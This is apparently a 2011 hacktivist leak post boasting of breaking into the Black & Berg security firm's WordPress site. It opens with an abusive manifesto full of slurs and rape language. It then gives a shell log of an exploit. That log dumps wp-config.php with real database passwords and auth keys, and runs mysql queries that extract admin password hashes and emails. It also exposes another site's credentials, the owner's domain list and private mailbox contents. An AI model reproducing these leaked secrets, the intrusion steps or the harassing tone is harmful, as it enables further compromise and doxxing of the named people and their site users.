Black & Berg Owned and Exposed -- Again.
seclists.org | Jun 23rd 2011 4:51 PM _ _ _ ____ _ _ ___ ____ / \ _ __ | |_(_) | __ )| | __ _ ___| | __ _ ) | __ ) ___ _ __ __ _ / _ \ | '_ \| __| |_____| _ \| |/ _` |/ __| |/ / _ \/\ _ \ / _ \ '__/ _` | / ___ \| | | | |_| |_____| |_) | | (_| | (__| < (_> < |_) | __/ | | (_| | /_/ \_\_| |_|\__|_| |____/|_|\__,_|\___|_|\_\___/\/____/ \___|_| \__, | They couldn't even secure their own site -- twice. |___/ Live:
http://www.blackbergsecurity.us/ http://www.blackandberg.com/ Mirror:
http://freze.it/handbanana http://pastebin.com/vxJkhJc3 Twitter: @tehhandbanana This is the tale of a security boutique so lulzy we can't even bring ourselves to lulz at them anymore. It's been exactly two weeks since LulzSec sailed the LulzBoat over to
blackbergsecurity.us, and since then Ryan Berg has feverishly been working to build a new site and re-invent the company image after having their asses publically plundered. They moved from Drupal to Wordpress, and got a new domain name. We assume the move away from Drupal was an act of desperation since they had no fucking clue how LulzSec got in -- switching CMS software was the only way to stay safe! The minute we saw this shiny new site, we had to see if our "favorite" Cybersecurity duo had learned any lessons. They had not. The one thing we hate more than whitehats and "ethical hackers" (whatever the fuck /that/ is) is frauds. Joe, you are a fraudulent sack of shit. I hold your mother fully responsible for not aborting you, especially since she obviously smoked a lot of crank when she was pregnant with you. You are a genital wart on the nutsack of the infosec community, and quite franky we're tired of you. We had fun lulzing at you for a while, but you're just a bad joke told one too many times. You're a cunt, Joe, and although we're getting LulzSec's sloppy seconds, we're enjoying every second of fucking you. This is the second time in two weeks that you've been pwnt, and it will continue to happen until you boys close up shop. We will never stop owning and exposing you for who you truly are. You're raping your customers by offering a service you can't even provide to yourselves, so we will capitalize on every opportunity we get to rape you. We mean it -- close up shop for good. You boys best stick to farming corn -- we hear that's what you Nebraski folks do best. Done in the name of #AntiSec Greetz to LulzSec, zf0, Topiary, and jericho butters ~ $ ./wp-pwn
www.blackandberg.com -d /wp-content -p 80 * Connecting to
www.blackandberg.com:80 * Fingerprinting webapp... Wordpress 3.1.3 * Injecting c0de... * Wait for it... * g0tshell! uname -a: Linux monkian 2.6.32.8-grsec-2.1.14-modsign-xeon-64 #2 SMP Sat Mar 13 00:42:43 PST 2010 x86_64 GNU/Linux id: uid=11823475(returningvet) gid=773287(pg4272584) groups=773287(pg4272584) cwd: /home/returningvet/blackandberg.com sh-3.2$ ls total 244 drwxr-xr-x 5 returningvet pg4272584 4096 Jun 23 06:15 . drwxr-x--x 40 returningvet pg4272584 4096 Jun 21 13:27 .. -rw-r--r-- 1 returningvet pg4272584 0 Jun 14 21:16 favicon.gif -rw-r--r-- 1 returningvet pg4272584 0 Jun 14 21:16 favicon.ico -rw-r--r-- 1 returningvet pg4272584 397 Jun 14 21:28 index.php -rw-r--r-- 1 returningvet pg4272584 15606 Jun 14 21:28 license.txt -rw-r--r-- 1 returningvet pg4272584 2426 Jun 14 20:39 quickstart.html -rw-r--r-- 1 returningvet pg4272584 9202 Jun 14 21:28 readme.html -rw-r--r-- 1 returningvet pg4272584 4337 Jun 14 21:28 wp-activate.php drwxr-xr-x 9 returningvet pg4272584 4096 Jun 21 13:25 wp-admin -rw-r--r-- 1 returningvet pg4272584 40261 Jun 14 21:28 wp-app.php -rw-r--r-- 1 returningvet pg4272584 226 Jun 14 21:28 wp-atom.php -rw-r--r-- 1 returningvet pg4272584 274 Jun 14 21:28 wp-blog-header.php -rw-r--r-- 1 returningvet pg4272584 3931 Jun 14 21:28 wp-comments-post.php -rw-r--r-- 1 returningvet pg4272584 244 Jun 14 21:28 wp-commentsrss2.php -rw-r--r-- 1 returningvet pg4272584 3177 Jun 14 21:28 wp-config-sample.php -rw-r----- 1 returningvet pg4272584 3580 Jun 14 21:15 wp-config.php drwxr-xr-x 6 returningvet pg4272584 4096 Jun 20 11:06 wp-content -rw-r--r-- 1 returningvet pg4272584 1255 Jun 14 21:28 wp-cron.php -rw-r--r-- 1 returningvet pg4272584 246 Jun 14 21:28 wp-feed.php drwxr-xr-x 8 returningvet pg4272584 4096 Apr 26 11:44 wp-includes -rw-r--r-- 1 returningvet pg4272584 1997 Jun 14 21:28 wp-links-opml.php -rw-r--r-- 1 returningvet pg4272584 2453 Jun 14 21:28 wp-load.php -rw-r--r-- 1 returningvet pg4272584 27816 Jun 14 21:28 wp-login.php -rw-r--r-- 1 returningvet pg4272584 7774 Jun 14 21:28 wp-mail.php -rw-r--r-- 1 returningvet pg4272584 494 Jun 14 21:28 wp-pass.php -rw-r--r-- 1 returningvet pg4272584 224 Jun 14 21:28 wp-rdf.php -rw-r--r-- 1 returningvet pg4272584 334 Jun 14 21:28 wp-register.php -rw-r--r-- 1 returningvet pg4272584 224 Jun 14 21:28 wp-rss.php -rw-r--r-- 1 returningvet pg4272584 226 Jun 14 21:28 wp-rss2.php -rw-r--r-- 1 returningvet pg4272584 9655 Jun 14 21:28 wp-settings.php -rw-r--r-- 1 returningvet pg4272584 18644 Jun 14 21:28 wp-signup.php -rw-r--r-- 1 returningvet pg4272584 3702 Jun 14 21:28 wp-trackback.php -rw-r--r-- 1 returningvet pg4272584 3210 Jun 14 21:28 xmlrpc.php sh-3.2$ cat wp-config.php
http://codex.wordpress.org/Editing_wp-config.php Editing * wp-config.php} Codex page. You can get the MySQL settings from your web host. * * This file is used by the wp-config.php creation script during the * installation. You don't have to use the web site, you can just copy this file * to "wp-config.php" and fill in the values. * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'blackandberg_com'); /** MySQL database username */ define('DB_USER', 'blackandbergcom'); /** MySQL database password */ define('DB_PASSWORD', '9fn9j?5F'); /** MySQL hostname */ define('DB_HOST', 'mysql.blackandberg.com'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', ''); /**# () + * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the { () link
https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define('AUTH_KEY', '9t&Qc@|7&rcBhLgmh"3[TD{1M}R9oA- () vK=MNyUAOC$EZEFzjpS1qR"esA1uv~!*'); define('SECURE_AUTH_KEY', '6%lSdFp-)X?:;MLJU$B*VE+&W&4S[zO#+NxlwLC80|#w}gD)`Wz*#{Tf"t|hVZ+K'); define('LOGGED_IN_KEY', '_aOv1lxKv0gUTl{R3{$w{K3Ru]3=Zt(=+rP:yU~oK(PJY`pe/x)a$JJlpPh^Vz88'); define('NONCE_KEY', '?AamF1=3eqH;;qJcPg"Xx}#|IX+VaI5Ja[kOXf5pA[+WA+rd9wrOtjNbOF/ZP7y"'); define('AUTH_SALT', ']"Er7LAW^2GPE!73Rr3RR?`Fp`z]GsIJ9uf-%uWt=m`ElmJep~w*Q{"_20Af+oJ!'); define('SECURE_AUTH_SALT', '``GkwT-p%kX~Ll2#CXK+ch5^SoR0Wg`5omS4mH-LVIdlEytp/KH5xnV$[#el:-m#'); define('LOGGED_IN_SALT', '9fgVtBo$6ULn5{%g/CcMTCz=JlfmR_P`A+]T:`+}UNTgENW8]en-KeCvS]y () rZej'); define('NONCE_SALT', '9N$_tV1nEZu]:72v|lGNOIlf6PFXzE*tGCLsveqt;D9d"f#04ra0U?uwhS-2WJPD'); /**# () -*/ /** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each a unique * prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_33lnd3_'; /** * Limits total Post Revisions saved per Post/Page. * Change or comment this line out if you would like to increase or remove the limit. */ define('WP_POST_REVISIONS', 10); /** * WordPress Localized Language, defaults to English. * * Change this to localize WordPress. A corresponding MO file for the chosen * language must be installed to wp-content/languages. For example, install * de_DE.mo to wp-content/languages and set WPLANG to 'de_DE' to enable German * language support. */ define('WPLANG', ''); /** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. */ define('WP_DEBUG', false); /* That's all, stop editing! Happy blogging. */ /** Absolute path to the WordPress directory. */ if ( !defined('ABSPATH') ) define('ABSPATH', dirname(__FILE__) . '/'); /** Sets up WordPress vars and included files. */ require_once(ABSPATH . 'wp-settings.php'); sh-3.2$ mysql -u blackandbergcom -p9fn9j?5F -D blackandberg_com -h
mysql.blackandberg.com -e 'show tables' Tables_in_blackandberg_com wp_33lnd3_commentmeta wp_33lnd3_comments wp_33lnd3_links wp_33lnd3_options wp_33lnd3_postmeta wp_33lnd3_posts wp_33lnd3_rg_form wp_33lnd3_rg_form_meta wp_33lnd3_rg_form_view wp_33lnd3_rg_lead wp_33lnd3_rg_lead_detail wp_33lnd3_rg_lead_detail_long wp_33lnd3_rg_lead_notes wp_33lnd3_term_relationships wp_33lnd3_term_taxonomy wp_33lnd3_terms wp_33lnd3_usermeta wp_33lnd3_users sh-3.2$ mysql -u blackandbergcom -p9fn9j?5F -D blackandberg_com -h
mysql.blackandberg.com -e 'select * from wp_33lnd3_users\G' *************************** 1. row *************************** ID: 1 user_login: blackandberg user_pass: $P$BNiEu003uRdYXQgmLYCJ8jZT3Zb2yb1 user_nicename: blackandberg user_email: ryan () whatfits org user_url: user_registered: 2011-06-15 04:20:19 user_activation_key: user_status: 0 display_name: blackandberg sh-3.2$ cd /home/returningvet sh-3.2$ ls -al total 216 drwxr-x--x 40 returningvet pg4272584 4096 Jun 21 13:27 . drwxr-x--x 672 root root 32768 Jun 22 15:59 .. drwxr-xr-x 3 returningvet pg4272584 4096 Dec 8 2010 .Trashes -rw-r--r-- 1 returningvet pg4272584 260 Aug 6 2010 .alias -rw-r--r-- 1 returningvet pg4272584 81 Aug 6 2010 .bash_profile -rw-r--r-- 1 returningvet pg4272584 55 Aug 6 2010 .bashrc -rw-r--r-- 1 returningvet pg4272584 417 Aug 6 2010 .cshrc drwx------ 2 returningvet pg4272584 4096 Dec 8 2010 .fseventsd drwxr-xr-x 6 returningvet pg4272584 4096 Aug 27 2010 .svn drwxr-xr-x 5 returningvet pg4272584 4096 Mar 5 2009 Maildir drwxr-xr-x 6 returningvet pg4272584 4096 Mar 3 21:20
askvets.org drwxr-xr-x 5 returningvet pg4272584 4096 Feb 8 13:14 askvets.org.old drwxr-xr-x 5 returningvet pg4272584 4096 Jun 23 06:26
blackandberg.com -rw-r--r-- 1 returningvet pg4272584 53 Jun 21 13:25 blackandbergverify.html drwxr-xr-x 7 returningvet pg4272584 4096 Jun 5 22:02
calgyros.com drwxr-xr-x 6 returningvet pg4272584 4096 Apr 3 04:34 calgyros.com.old drwxr-xr-x 5 returningvet pg4272584 4096 May 8 07:23
calveteransalumni.org drwxr-xr-x 5 returningvet pg4272584 4096 Apr 15 19:44 calveteransalumni.org.old drwxr-xr-x 5 returningvet pg4272584 4096 Jun 14 17:37
dundeecorkandbottle.com drwxr-xr-x 3 returningvet pg4272584 4096 Dec 8 2010 forum drwxr-xr-x 5 returningvet pg4272584 4096 Apr 6 17:16
framebound.com drwxr-xr-x 5 returningvet pg4272584 4096 Feb 23 20:27 framebound.com.old -rw-r--r-- 1 returningvet pg4272584 53 Jun 21 13:27 googlec042c46edb4309bf (1).html -rw-r--r-- 1 returningvet pg4272584 53 Jun 21 13:27 googlec042c46edb4309bf.html drwxr-xr-x 5 returningvet pg4272584 4096 Jun 11 14:37
jointforcevets.org drwxr-xr-x 5 returningvet pg4272584 4096 Jun 14 22:38
leftface.org dr-xr-x--- 25 returningvet dhapache 4096 Jun 22 14:44 logs drwxr-xr-x 5 returningvet pg4272584 4096 Jun 6 00:48
norcalbilliards.org drwxr-xr-x 2 returningvet pg4272584 4096 Feb 6 04:15
returningvet.edu drwxr-xr-x 5 returningvet pg4272584 4096 May 26 00:57
returningvet.org drwxr-xr-x 5 returningvet pg4272584 4096 Apr 6 03:23 returningvet.org.old drwxr-xr-x 34 returningvet pg4272584 4096 Mar 3 21:08
returningvetedu.org drwxr-xr-x 5 returningvet pg4272584 4096 Feb 8 20:53 returningvetedu.org.old drwxrwxrwx 7 returningvet pg4272584 4096 Mar 3 21:22
returningvetedu.org_moodledata drwxr-xr-x 5 returningvet pg4272584 4096 Apr 6 02:49
returningveteransofamerica.org drwxr-xr-x 5 returningvet pg4272584 4096 Mar 3 06:10 returningveteransofamerica.org.old drwxr-xr-x 5 returningvet pg4272584 4096 Apr 5 19:07
returningvetoncampus.org drwxr-xr-x 5 returningvet pg4272584 4096 Mar 31 01:33 returningvetoncampus.org.old drwxr-xr-x 5 returningvet pg4272584 4096 Jun 3 20:07
rightface.org drwxr-xr-x 5 returningvet pg4272584 4096 Apr 19 00:36 rightface.org.old drwxr-xr-x 5 returningvet pg4272584 4096 Apr 26 16:48
ryanandlupe.com drwxr-xr-x 5 returningvet pg4272584 4096 Jun 4 15:12 ryanmberg.info drwxr-xr-x 5 returningvet pg4272584 4096 Jun 14 21:48
strictlygi.com drwxr-xr-x 2 returningvet pg4272584 4096 Apr 26 02:47
thebergfamily.com drwxr-xr-x 5 returningvet pg4272584 4096 Jun 14 17:39
theradialcafe.com drwxr-xr-x 5 returningvet pg4272584 4096 Feb 23 22:51
vetseek.org drwxr-xr-x 5 returningvet pg4272584 4096 Feb 8 20:51 vetseek.org.old sh-3.2$ ls -al /home/returningvet/thebergfamily.com total 12 drwxr-xr-x 2 returningvet pg4272584 4096 Apr 26 02:47 . drwxr-x--x 40 returningvet pg4272584 4096 Jun 21 13:27 .. -rw-r--r-- 1 returningvet pg4272584 0 Apr 26 02:47 favicon.gif -rw-r--r-- 1 returningvet pg4272584 0 Apr 26 02:47 favicon.ico -rw-r--r-- 1 returningvet pg4272584 2429 Apr 26 02:47 quickstart.html sh-3.2$ ls -al /home/returningvet/returningvet.org total 244 drwxr-xr-x 5 returningvet pg4272584 4096 May 26 00:57 . drwxr-x--x 40 returningvet pg4272584 4096 Jun 21 13:27 .. -rw-r--r-- 2 returningvet pg4272584 36 Jun 7 00:38 .htaccess -rw-r--r-- 2 returningvet pg4272584 0 May 11 11:32 favicon.gif -rw-r--r-- 2 returningvet pg4272584 0 May 11 11:32 favicon.ico -rw-r--r-- 1 returningvet pg4272584 397 May 26 00:57 index.php -rw-r--r-- 1 returningvet pg4272584 15606 May 26 00:57 license.txt -rw-r--r-- 2 returningvet pg4272584 2426 Dec 4 2010 quickstart.html -rw-r--r-- 1 returningvet pg4272584 9202 May 26 00:57 readme.html -rw-r--r-- 1 returningvet pg4272584 4337 May 26 00:57 wp-activate.php drwxr-xr-x 9 returningvet pg4272584 4096 May 26 00:57 wp-admin -rw-r--r-- 1 returningvet pg4272584 40261 May 26 00:57 wp-app.php -rw-r--r-- 1 returningvet pg4272584 226 May 26 00:57 wp-atom.php -rw-r--r-- 1 returningvet pg4272584 274 May 26 00:57 wp-blog-header.php -rw-r--r-- 1 returningvet pg4272584 3931 May 26 00:57 wp-comments-post.php -rw-r--r-- 1 returningvet pg4272584 244 May 26 00:57 wp-commentsrss2.php -rw-r--r-- 1 returningvet pg4272584 3177 May 26 00:57 wp-config-sample.php -rw-r----- 1 returningvet pg4272584 1143 Dec 4 2010 wp-config.php drwxr-xr-x 8 returningvet pg4272584 4096 Jun 15 07:21 wp-content -rw-r--r-- 1 returningvet pg4272584 1255 May 26 00:57 wp-cron.php -rw-r--r-- 1 returningvet pg4272584 246 May 26 00:57 wp-feed.php drwxr-xr-x 8 returningvet pg4272584 4096 May 26 00:57 wp-includes -rw-r--r-- 1 returningvet pg4272584 1997 May 26 00:57 wp-links-opml.php -rw-r--r-- 1 returningvet pg4272584 2453 May 26 00:57 wp-load.php -rw-r--r-- 1 returningvet pg4272584 27816 May 26 00:57 wp-login.php -rw-r--r-- 1 returningvet pg4272584 7774 May 26 00:57 wp-mail.php -rw-r--r-- 1 returningvet pg4272584 494 May 26 00:57 wp-pass.php -rw-r--r-- 1 returningvet pg4272584 224 May 26 00:57 wp-rdf.php -rw-r--r-- 1 returningvet pg4272584 334 May 26 00:57 wp-register.php -rw-r--r-- 1 returningvet pg4272584 224 May 26 00:57 wp-rss.php -rw-r--r-- 1 returningvet pg4272584 226 May 26 00:57 wp-rss2.php -rw-r--r-- 1 returningvet pg4272584 9655 May 26 00:57 wp-settings.php -rw-r--r-- 1 returningvet pg4272584 18644 May 26 00:57 wp-signup.php -rw-r--r-- 1 returningvet pg4272584 3702 May 26 00:57 wp-trackback.php -rw-r--r-- 1 returningvet pg4272584 3210 May 26 00:57 xmlrpc.php sh-3.2$ cat /home/returningvet/returningvet.org/wp-config.php sh-3.2$ mysql -u returningvetorg -p6avySUK6 -D returningvet_org -h
mysql.returningvet.org -e 'show tables' Tables_in_returningvet_org wp_gs0kwa_assignment2project wp_gs0kwa_assignments wp_gs0kwa_bibliography wp_gs0kwa_commentmeta wp_gs0kwa_comments wp_gs0kwa_connections wp_gs0kwa_connections_term_relationships wp_gs0kwa_connections_term_taxonomy wp_gs0kwa_connections_terms wp_gs0kwa_crestocksavedimages wp_gs0kwa_geo_mashup_administrative_names wp_gs0kwa_geo_mashup_location_relationships wp_gs0kwa_geo_mashup_locations wp_gs0kwa_links wp_gs0kwa_mappress_maps wp_gs0kwa_mappress_posts wp_gs0kwa_options wp_gs0kwa_petition_fields wp_gs0kwa_petition_signatures wp_gs0kwa_petitions wp_gs0kwa_podpress_statcounts wp_gs0kwa_podpress_stats wp_gs0kwa_postmeta wp_gs0kwa_posts wp_gs0kwa_projects wp_gs0kwa_rg_form wp_gs0kwa_rg_form_meta wp_gs0kwa_rg_form_view wp_gs0kwa_rg_lead wp_gs0kwa_rg_lead_detail wp_gs0kwa_rg_lead_detail_long wp_gs0kwa_rg_lead_notes wp_gs0kwa_schedule wp_gs0kwa_schedule2unit wp_gs0kwa_shopp_asset wp_gs0kwa_shopp_billing wp_gs0kwa_shopp_catalog wp_gs0kwa_shopp_category wp_gs0kwa_shopp_customer wp_gs0kwa_shopp_discount wp_gs0kwa_shopp_index wp_gs0kwa_shopp_meta wp_gs0kwa_shopp_price wp_gs0kwa_shopp_product wp_gs0kwa_shopp_promo wp_gs0kwa_shopp_purchase wp_gs0kwa_shopp_purchased wp_gs0kwa_shopp_setting wp_gs0kwa_shopp_shipping wp_gs0kwa_shopp_shopping wp_gs0kwa_shopp_tag wp_gs0kwa_simple_map wp_gs0kwa_simple_map_cats wp_gs0kwa_sms_subscribers wp_gs0kwa_store_locator wp_gs0kwa_term_relationships wp_gs0kwa_term_taxonomy wp_gs0kwa_terms wp_gs0kwa_units wp_gs0kwa_usermeta wp_gs0kwa_users wp_gs0kwa_wpgmappity_maps wp_gs0kwa_wpgmappity_markers wp_gs0kwa_wpsc_also_bought wp_gs0kwa_wpsc_cart_contents wp_gs0kwa_wpsc_cart_item_variations wp_gs0kwa_wpsc_categorisation_groups wp_gs0kwa_wpsc_category_tm wp_gs0kwa_wpsc_checkout_forms wp_gs0kwa_wpsc_claimed_stock wp_gs0kwa_wpsc_coupon_codes wp_gs0kwa_wpsc_currency_list wp_gs0kwa_wpsc_download_status wp_gs0kwa_wpsc_item_category_assoc wp_gs0kwa_wpsc_logged_subscriptions wp_gs0kwa_wpsc_meta wp_gs0kwa_wpsc_product_categories wp_gs0kwa_wpsc_product_files wp_gs0kwa_wpsc_product_images wp_gs0kwa_wpsc_product_list wp_gs0kwa_wpsc_product_order wp_gs0kwa_wpsc_product_rating wp_gs0kwa_wpsc_product_variations wp_gs0kwa_wpsc_productmeta wp_gs0kwa_wpsc_purchase_logs wp_gs0kwa_wpsc_purchase_statuses wp_gs0kwa_wpsc_region_tax wp_gs0kwa_wpsc_submited_form_data wp_gs0kwa_wpsc_variation_assoc wp_gs0kwa_wpsc_variation_combinations wp_gs0kwa_wpsc_variation_properties wp_gs0kwa_wpsc_variation_values wp_gs0kwa_wpsc_variation_values_assoc wp_gs0kwa_wpsqt_answer wp_gs0kwa_wpsqt_forms wp_gs0kwa_wpsqt_questions wp_gs0kwa_wpsqt_quiz wp_gs0kwa_wpsqt_quiz_sections wp_gs0kwa_wpsqt_results wp_gs0kwa_wpsqt_survey wp_gs0kwa_wpsqt_survey_questions wp_gs0kwa_wpsqt_survey_questions_answers wp_gs0kwa_wpsqt_survey_results wp_gs0kwa_wpsqt_survey_sections wp_gs0kwa_wpsqt_survey_single_results wp_gs0kwa_xmlgooglemaps wp_gs0kwa_xmlgooglemaps_cache wp_gs0kwa_xmlgooglemaps_gpxfile wp_gs0kwa_xmlgooglemaps_gpxfile_item wphive_config wphive_hosts wpjb_additional_field wpjb_alert wpjb_career_builder_log wpjb_category wpjb_discount wpjb_employer wpjb_field_option wpjb_field_value wpjb_job wpjb_job_search wpjb_listing wpjb_mail wpjb_payment wpjb_resume wpjb_resumes_access wpjb_type sh-3.2$ mysql -u returningvetorg -p6avySUK6 -D returningvet_org -h
mysql.returningvet.org -e 'select * from wp_gs0kwa_users\G' *************************** 1. row *************************** ID: 1 user_login: RetVet user_pass: $P$BLJ1X1HRaUJDPkTr101mbJbW.VcK5U1 user_nicename: retvet user_email: ryan () whatfits org user_url: user_registered: 2010-12-04 23:31:08 user_activation_key: user_status: 0 display_name: RetVet sh-3.2$ ls -alR /home/returningvet/Maildir /home/returningvet/Maildir: total 20 drwxr-xr-x 5 returningvet pg4272584 4096 Mar 5 2009 . drwxr-x--x 40 returningvet pg4272584 4096 Jun 21 13:27 .. drwxr-xr-x 2 returningvet pg4272584 4096 Mar 5 2009 cur drwxr-xr-x 2 returningvet pg4272584 4096 Jun 2 07:03 new drwxr-xr-x 2 returningvet pg4272584 4096 Jun 2 07:03 tmp /home/returningvet/Maildir/cur: total 8 drwxr-xr-x 2 returningvet pg4272584 4096 Mar 5 2009 . drwxr-xr-x 5 returningvet pg4272584 4096 Mar 5 2009 .. /home/returningvet/Maildir/new: total 172 drwxr-xr-x 2 returningvet pg4272584 4096 Jun 2 07:03 . drwxr-xr-x 5 returningvet pg4272584 4096 Mar 5 2009 .. -rw------- 1 returningvet pg4272584 14067 Dec 8 2010 1291810565.V811Iaffa865M77424.monkian -rw------- 1 returningvet pg4272584 12995 Dec 27 18:10 1293502234.V811Iaffabc7M242193.monkian -rw------- 1 returningvet pg4272584 8901 Dec 28 00:54 1293526496.V811Iaffabc9M773200.monkian -rw------- 1 returningvet pg4272584 13034 Dec 28 10:16 1293560187.V811IaffabcaM184793.monkian -rw------- 1 returningvet pg4272584 13130 Dec 28 14:02 1293573772.V811IaffabcbM608587.monkian -rw------- 1 returningvet pg4272584 13095 Dec 28 16:44 1293583451.V811IaffabccM635542.monkian -rw------- 1 returningvet pg4272584 9042 Dec 28 17:27 1293586057.V811IaffabcdM229524.monkian -rw------- 1 returningvet pg4272584 13076 Dec 28 21:15 1293599718.V811Iaffa85cM19362.monkian -rw------- 1 returningvet pg4272584 13082 Dec 28 21:21 1293600082.V811IaffabcfM324408.monkian -rw------- 1 returningvet pg4272584 4376 Mar 27 17:43 1301273016.V811Iaffa54fM903489.monkian -rw------- 1 returningvet pg4272584 4382 Mar 28 04:35 1301312137.V811Iaffa551M458642.monkian -rw------- 1 returningvet pg4272584 3685 Mar 30 10:36 1301506580.V811Iaffa550M846442.monkian -rw------- 1 returningvet pg4272584 3569 Apr 7 16:41 1302219714.V811Iaffa165M880616.monkian -rw------- 1 returningvet pg4272584 1369 Jun 2 07:03 1307023401.V811Iaffa5bdM583827.monkian /home/returningvet/Maildir/tmp: total 8 drwxr-xr-x 2 returningvet pg4272584 4096 Jun 2 07:03 . drwxr-xr-x 5 returningvet pg4272584 4096 Mar 5 2009 .. sh-3.2$ cat /home/returningvet/Maildir/new/* Return-Path: <> X-Original-To: returningvet () monkian dreamhost com Delivered-To: returningvet () monkian dreamhost com Received: from
crusty.g.dreamhost.com (
crusty.g.dreamhost.com [67.205.8.12]) by
monkian.dreamhost.com (Postfix) with ESMTP id 11B5C45A7 for ; Wed, 8 Dec 2010 04:16:05 -0800 (PST) Received: by
crusty.g.dreamhost.com (Postfix) id 3FEC611DC96; Wed, 8 Dec 2010 04:16:03 -0800 (PST) Date: Wed, 8 Dec 2010 04:16:03 -0800 (PST) From: MAILER-DAEMON () crusty g dreamhost com (Mail Delivery System) Subject: Undelivered Mail Returned to Sender To: returningvet () monkian dreamhost com Auto-Submitted: auto-replied MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="2404C11DC0F.1291810563/crusty.g.dreamhost.com" Content-Transfer-Encoding: 8bit Message-Id: <20101208121603.3FEC611DC96 () crusty g dreamhost com> This is a MIME-encapsulated message. --2404C11DC0F.1291810563/crusty.g.dreamhost.com Content-Description: Notification Content-Type: text/plain; charset=us-ascii This is the mail system at host
crusty.g.dreamhost.com. I'm sorry to have to inform you that your message could not be delivered to one or more recipients. It's attached below. If you are a current customer of DreamHost, please contact our technical support team here
https://panel.dreamhost.com/support If you are not a customer please use our contact form at.
http://dreamhost.com/contact If you do so, please include this email in your support ticket. You can delete your own text from the attached returned message. Dreamhost Email Support : host
returningvet.org[173.236.181.119] said: 554 5.7.1 : Recipient address rejected: Access denied (in reply to RCPT TO command) : host
returningvet.org[173.236.181.119] said: 554 5.7.1 : Recipient address rejected: Access denied (in reply to RCPT TO command) --2404C11DC0F.1291810563/crusty.g.dreamhost.com Content-Description: Delivery report Content-Type: message/delivery-status Reporting-MTA: dns;
crusty.g.dreamhost.com X-Postfix-Queue-ID: 2404C11DC0F X-Postfix-Sender: rfc822; returningvet () monkian dreamhost com Arrival-Date: Wed, 8 Dec 2010 04:16:03 -0800 (PST) Final-Recipient: rfc822; memberveterans () returningvet org Original-Recipient: rfc822;memberveterans () returningvet org Action: failed Status: 5.7.1 Remote-MTA: dns;
returningvet.org Diagnostic-Code: smtp; 554 5.7.1 : Recipient address rejected: Access denied Final-Recipient: rfc822; ryan () returningvet org Original-Recipient: rfc822;ryan () returningvet org Action: failed Status: 5.7.1 Remote-MTA: dns;
returningvet.org Diagnostic-Code: smtp; 554 5.7.1 : Recipient address rejected: Access denied --2404C11DC0F.1291810563/crusty.g.dreamhost.com Content-Description: Undelivered Message Content-Type: message/rfc822 Content-Transfer-Encoding: 8bit Return-Path: Received: from
monkian.dreamhost.com (
monkian.dreamhost.com [173.236.168.227]) by
crusty.g.dreamhost.com (Postfix) with ESMTP id 2404C11DC0F; Wed, 8 Dec 2010 04:16:03 -0800 (PST) Received: by
monkian.dreamhost.com (Postfix, from userid 11823475) id D5DD145AB; Wed, 8 Dec 2010 04:16:04 -0800 (PST) To: memberveterans () returningvet org Subject: dsfdsdfsdIraq or Afghanistan Date: Wed, 8 Dec 2010 12:16:04 +0000 From: "memberveterans () returningvet org" Message-ID: <3c4a876879e112379974384e01d23ae5> X-Priority: 3 X-Mailer: PHPMailer (
phpmailer.sourceforge.net) [version 2.0.4] Reply-To: memberveterans () returningvet org MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/html; charset="UTF-8"
--2404C11DC0F.1291810563/crusty.g.dreamhost.com-- Return-Path: <> X-Original-To: returningvet () monkian dreamhost com Delivered-To: returningvet () monkian dreamhost com Received: from
crusty.g.dreamhost.com (
crusty.g.dreamhost.com [67.205.8.12]) by
monkian.dreamhost.com (Postfix) with ESMTP id 3A0E14918 for ; Mon, 27 Dec 2010 18:10:34 -0800 (PST) Received: by
crusty.g.dreamhost.com (Postfix) id 0612511DDAC; Mon, 27 Dec 2010 18:10:19 -0800 (PST) Date: Mon, 27 Dec 2010 18:10:19 -0800 (PST) From: MAILER-DAEMON () crusty g dreamhost com (Mail Delivery System) Subject: Undelivered Mail Returned to Sender To: returningvet () monkian dreamhost com Auto-Submitted: auto-replied MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="7B5F411DD9A.1293502219/crusty.g.dreamhost.com" Content-Transfer-Encoding: 8bit Message-Id: <20101228021019.0612511DDAC () crusty g dreamhost com> This is a MIME-encapsulated message. --7B5F411DD9A.1293502219/crusty.g.dreamhost.com Content-Description: Notification Content-Type: text/plain; charset=us-ascii This is the mail system at host
crusty.g.dreamhost.com. I'm sorry to have to inform you that your message could not be delivered to one or more recipients. It's attached below. If you are a current customer of DreamHost, please contact our technical support team here
https://panel.dreamhost.com/support If you are not a customer please use our contact form at.
http://dreamhost.com/contact If you do so, please include this email in your support ticket. You can delete your own text from the attached returned message. Dreamhost Email Support : host
ASPMX.L.GOOGLE.COM[74.125.155.27] said: 550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1
http://mail.google.com/support/bin/answer.py?answer=6596 1si15499689ice.146 (in reply to RCPT TO command) --7B5F411DD9A.1293502219/crusty.g.dreamhost.com Content-Description: Delivery report Content-Type: message/delivery-status Reporting-MTA: dns;
crusty.g.dreamhost.com X-Postfix-Queue-ID: 7B5F411DD9A X-Postfix-Sender: rfc822; returningvet () monkian dreamhost com Arrival-Date: Mon, 27 Dec 2010 18:10:15 -0800 (PST) Final-Recipient: rfc822; memberveterans () returningvet org Original-Recipient: rfc822;memberveterans () returningvet org Action: failed Status: 5.1.1 Remote-MTA: dns;
ASPMX.L.GOOGLE.COM Diagnostic-Code: smtp; 550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1
http://mail.google.com/support/bin/answer.py?answer=6596 1si15499689ice.146 --7B5F411DD9A.1293502219/crusty.g.dreamhost.com Content-Description: Undelivered Message Content-Type: message/rfc822 Content-Transfer-Encoding: 8bit Return-Path: Received: from
